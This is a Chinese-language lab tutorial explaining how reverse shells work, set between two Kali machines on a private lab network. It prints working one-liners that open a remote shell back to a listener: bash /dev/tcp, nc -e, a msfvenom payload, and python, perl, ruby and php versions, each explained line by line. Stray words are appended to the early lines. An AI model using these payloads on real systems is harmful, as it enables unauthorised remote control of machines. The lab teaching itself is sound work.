反彈shell

1.   關於反彈shellphp

就是控制端監聽在某TCP/UDP端口,被控端發起請求到該端口,並將其命令行的輸入輸出轉到控制端。reverse shell與telnet,ssh等標準shell對應,本質上是網絡概念的客戶端與服務端的角色反轉。node

2.   反彈shell的緣由python

一般用於被控端因防火牆受限、權限不足、端口被佔用等情形linux

假設咱們攻擊了一臺機器,打開了該機器的一個端口,攻擊者在本身的機器去鏈接目標機器(目標ip:目標機器端口),這是比較常規的形式,咱們叫作正向鏈接。遠程桌面,web服務,ssh,telnet等等,都是正向鏈接。那麼什麼狀況下正向鏈接不太好用了呢?git

      1)某客戶機中了你的網馬,可是它在局域網內,你直接鏈接不了。github

      2)它的ip會動態改變,你不能持續控制。web

      3)因爲防火牆等限制,對方機器只能發送請求,不能接收請求。shell

      4)對於病毒,木馬,受害者何時能中招,對方的網絡環境是什麼樣的,何時開關機,都是未知,因此創建一個服務端,讓惡意程序主動鏈接,纔是上策。ruby

      那麼反彈就很好理解了,攻擊者指定服務端,受害者主機主動鏈接攻擊者的服務端程序,就叫反彈鏈接。bash

實驗目的

經過該實驗瞭解反彈shell的原理及各類方式的實現。

實驗環境

Kali兩臺

hostA:10.1.1.100

hostB:10.1.1.101

實驗步驟一

反彈shell是外網滲透的最後一步,也是內網滲透的第一步,本次實驗不針對具體的某次滲透過程,重點在於針對反彈shell常見下的功能實現以及原理理解。

      先來看兩臺機器ip

      攻擊機(稱主機A)

      

 

      靶機(稱主機B)

      

 

      bash直接反彈

      在主機A使用nc監聽 ,命令:nc -lvvp 123

      

 

      在主機B上使用bash直接反彈,命令:bash -i >& /dev/tcp/10.1.1.100/123 0>&1

      

 

      此時主機A收到shell了

      

 

      這種方式是徹底從原理出發,並且涉及到linux的一些本質知識點,因此展開來具體說一下。

      關鍵點在主機B上執行的那一句話。

      1. Bash –I  即產生一個bash交互環境

      2. >&      

         1)當>&後面接文件時,表示將標準輸出和標準錯誤輸出重定向至文件

         2)當>&後面接文件描述符時,表示將前面的文件描述符重定向至後面的文件描述符

      3. /dev/tcp/10.1.1.100/123  讓主機B與主機A(10.1.1.100)進行tcp鏈接,端口爲123(注:linux下全部內容都以文件形式組織存在,因此看到/dev/tcp不用感到奇怪,它是Linux中的一個特殊設備,打開這個文件就至關於進行了一個socket調用,創建一個socket鏈接)

      >& 後面接 /dev/tcp/ip/port,根據3的註釋和2的註釋1)部分可知,意思爲將標準輸出和標準錯誤輸出重定向到這個文件,重定向到socket鏈接的遠程主機A上,此時若是主機A正在監聽相應的端口,就會收到主機B的bash的標準輸出和標準錯誤輸出

      4. 0>&1 將標準輸入重定向到標準輸出,而標準輸出在以前已經重定向到主機A了,添加這一部分是由於若是沒有這一部分,在主機A上只能接收輸出,而沒法輸入,或者說沒法交互,添加上這一部分後,在主機A看來,就至關於拿到了主機B的shell

      (注:0 - stdin 表明標準輸入,使用<或<<

          1 - stdout 表明標準輸出,使用>或>>

          2 - stderr 表明標準錯誤輸出,使用2>或2>>)

      根據分析咱們能夠修改一下這句話,看看是否如咱們分析的這樣

      1)將0>&1修改成0>&2

      一樣如今主機A開啓監聽,命令:nc -lvvp 123

      

 

      主機B修改後執行,命令:bash -i >& /dev/tcp/10.1.1.100/123 0>&2

      

 

      主機A一樣的效果

      

 

      2)不添加 0>&2

      主機A鏈接,命令:nc -lvvp 123

      

 

      主機B修改後運行,命令:bash -i >& /dev/tcp/10.1.1.100/123

      

 

      主機A一樣創建了鏈接,可是輸入命令是沒有效果的

      

 

      在主機B中輸入命令時,主機B沒有回顯,回顯出如今主機A上,命令執行後的回顯也是在主機A上

      

 

      這正好說明了缺失第4部分的內容時,主機A只能標準輸出和標準錯誤輸出,沒有標準輸入,這一部分的知識點很是重要,好好理解。

實驗步驟二

利用nc

      主機A開啓監聽,命令:nc -lvvp 1234

      

 

      主機B反彈一句話,命令:nc 10.1.1.100 1234 -t -e /bin/bash

      

 

      命令的意思是:使用nc命令直接創建一個tcp 1234 的會話鏈接,而後將本地的bash經過這個會話鏈接反彈給目標主機

 

      此時反彈成功

      

利用msfvenom

      在主機A上使用msfvenom –l進行搜索相關payload

      

 

      結合關鍵字進行過濾,優化搜索結果

      本次要用到的是反彈shell相關的payload,因此關鍵字爲'cmd/unix/reverse',配合grep進行匹配便可

      則輸入以下命令:msfvenom -l payloads | grep 'cmd/unix/reverse'

      

 

      從結果中能夠看到有許多實現的方式,包括lua、nodej、perl等,爲何會有這麼多方式呢?這是爲了適應不一樣靶機的需求,可能目標靶機上只有perl的執行環境,那麼就可使用perl實現的反彈shell的payload,若是靶機上只有python的環境,那麼就使用python實現的payload,此處以python爲例。選定payload後,設置後本機的ip和監聽的端口

      命令:msfvenom -p cmd/unix/reverse_python lhost=10.1.1.100 lport=1234

      

 

      而後主機A上啓動nc進行監聽

      

 

      切換到主機B,在終端輸入msfvenom給出的payload

      

 

      回車執行,便可在主機A上收到反彈的shell

      

 

      事實上,這部分的payload解碼後就是python的一段腳本

      

 

      具體語言的反彈shell功能的實現會在下一部分說起

實驗步驟三

具體語言實現

      先看python的

      仍是如今主機A上監聽,命令nc -lvvp 123

      

 

      而後主機B上執行python,命令python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.1.1.100',123)) ;os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i'])"

      

 

      此時在主機A上就收到反彈shell了

      

 

      咱們分析下這段腳本的內容

      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.0.105',123))   創建socket鏈接

      os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2); 使用了os模塊的dup2函數和socket模塊的fileno函數

      fileno函數:返回套接字的文件描述符fd,若是從shell中運行一個進程,默認會有3個文件描述符存在(0、1、2), 0與進程的標準輸入相關聯,1與進程的標準輸出相關聯,2與進程的標準錯誤輸出相關聯。

      Dup2函數:dup2傳入兩個文件描述符,f1和f2(f1是必須存在的),若是f2存在,就關閉f2,而後將f1表明的那個文件強行復制給f2,f2這個文件描述符不會發生變化,可是fd2指向的文件就變成了f1指向的文件。這個函數最大的做用是重定向

      這句的代碼的做用就是將fd2指向s.fileno(),而fileno()返回的是創建socket鏈接返回的文件描述符fd,也就是將將標準輸入、標準輸出、標準錯誤輸出重定向到遠程

      p=subprocess.call(['/bin/bash','-i'])  使用subprocess在本地開啓子進程,同時傳入「i「使得bash以交互模式啓動

      通過以上代碼的功能整合,在主機A就至關於接收到了主機B的shell

      其餘語言的實現也是一樣的道理,關鍵的點都在於創建socket鏈接以及以後的交互實現

 

1)perl語言的

      perl -e 'use Socket;$i="192.168.0.105";$p=123;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

      

        

 

2)ruby語言的

      ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.0.105","123");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

      

        

 

3)php語言

      最簡單的是利用php的exec函數直接執行第一部分的那條bash反彈的命令,不過更常見的是這條命令

php -r '$sock=fsockopen("192.168.0.5",123);exec("/bin/bash -i 0>&3 1>&3 2>&3");'

      3表明fsockopen函數創建socket鏈接後返回的文件描述符,在exec函數中進行重定向,其中的0,1,2分別是前面提到的標準輸入、標準輸出、標準錯誤輸出。原理與前面分析的一致。

 

      

        

 
 
參考自合天實驗室
相關文章
相關標籤/搜索